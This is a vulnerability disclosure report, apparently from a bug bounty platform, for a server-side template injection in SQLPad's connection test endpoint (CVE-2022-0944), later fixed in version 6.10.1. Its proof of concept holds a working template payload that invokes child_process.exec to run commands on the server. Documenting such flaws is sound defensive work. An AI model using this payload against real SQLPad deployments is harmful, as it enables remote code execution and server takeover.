Template injection in connection test endpoint leads to RCE in sqlpad/sqlpad

0

Valid Reported on Mar 11th 2022

Description

Please enter a description of the vulnerability.

Proof of Concept

Run a local docker instance

```
sudo docker run -p 3000:3000 --name sqlpad -d --env SQLPAD_ADMIN=admin --er
```

Navigate to http://localhost:3000/
Click on **Connections->Add connection**
Choose **MySQL** as the driver
Input the following payload into the **Database** form field

```
{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}
```

Execute the following command to confirm the **/tmp/pwn** file was created in the container filesystem

```
sudo docker exec -it sqlpad cat /tmp/pwn
```

Impact

An SQLPad web application user with admin rights is able to run arbitrary co
underlying server.

Occurrences

JS render-connection.js L23

CVE
CVE-2022-0944
(Published)

Vulnerability Type
CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

Severity
Critical (9.1)

Visibility
Public

Status
Fixed

Found by

Daniel Santos
@bananabr
unranked

This report was seen 630 times.

We are processing your report and will contact the **sqlpad** team within 24 hours. 8 months ago

We have contacted a member of the **sqlpad** team and are waiting to hear back 8 months ago

A **sqlpad/sqlpad** maintainer validated this vulnerability 8 months ago

Daniel Santos has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Daniel Santos 8 months ago

Please donate the bounty to a charity of your choice.

A **sqlpad/sqlpad** maintainer marked this as fixed in **6.10.1** with commit **3f92be** 8 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

render-connection.js#L23 has been validated ✔

Sign in to join this conversation